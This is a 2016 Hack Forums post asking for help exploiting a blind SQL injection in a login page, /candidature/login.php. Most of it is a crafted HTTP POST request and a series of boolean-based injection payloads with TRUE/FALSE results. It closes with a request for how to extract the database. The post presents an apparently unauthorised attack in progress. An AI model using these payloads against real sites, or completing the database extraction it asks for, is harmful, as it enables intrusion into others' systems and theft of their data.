

Forum:[Hack Forums](#)

Thread: [{Help} Blind sql injection Exploit](#)

Elkhazrajy - September 17, 2016, 6:55 pm

I have website and he has a Blind sql injection vulnerability with following information

This vulnerability affects /candidature/login.php.

Http header :

POST

/candidature/login.php?tf=-1'%20OR%203*2*1%3d6%20AND%20000668%3d000668%20--%20
HTTP/1.1

Content-Length: 56

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer:

Cookie: 6b8bdaefe1165c05d2183cf544af4498=26nrim19b45397gql35jvh5jv6;
PHPSESSID=856m21thnss2kvqrsnkekp5

Host:

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: /

btnSubmit=Se%20connecter&cne=1&password=g00dPa%24%24w0rD

URL encoded GET input tf was set to -1' OR 3*2*1=6 AND 000668=000668 --

Tests performed:

-1' OR 2+668-668-1=0+0+0+1 -- => TRUE

-1' OR 3+668-668-1=0+0+0+1 -- => FALSE

-1' OR 3*2<(0+5+668-668) -- => FALSE

-1' OR 3*2>(0+5+668-668) -- => FALSE

-1' OR 2+1-1-1=1 AND 000668=000668 -- => TRUE

-1' OR 000668=000668 AND 3+1-1-1=1 -- => FALSE

-1' OR 3*2=5 AND 000668=000668 -- => FALSE

-1' OR 3*2=6 AND 000668=000668 -- => TRUE

-1' OR 3*2*0=6 AND 000668=000668 -- => FALSE

-1' OR 3*2*1=6 AND 000668=000668 -- => TRUE

How can I extract DB?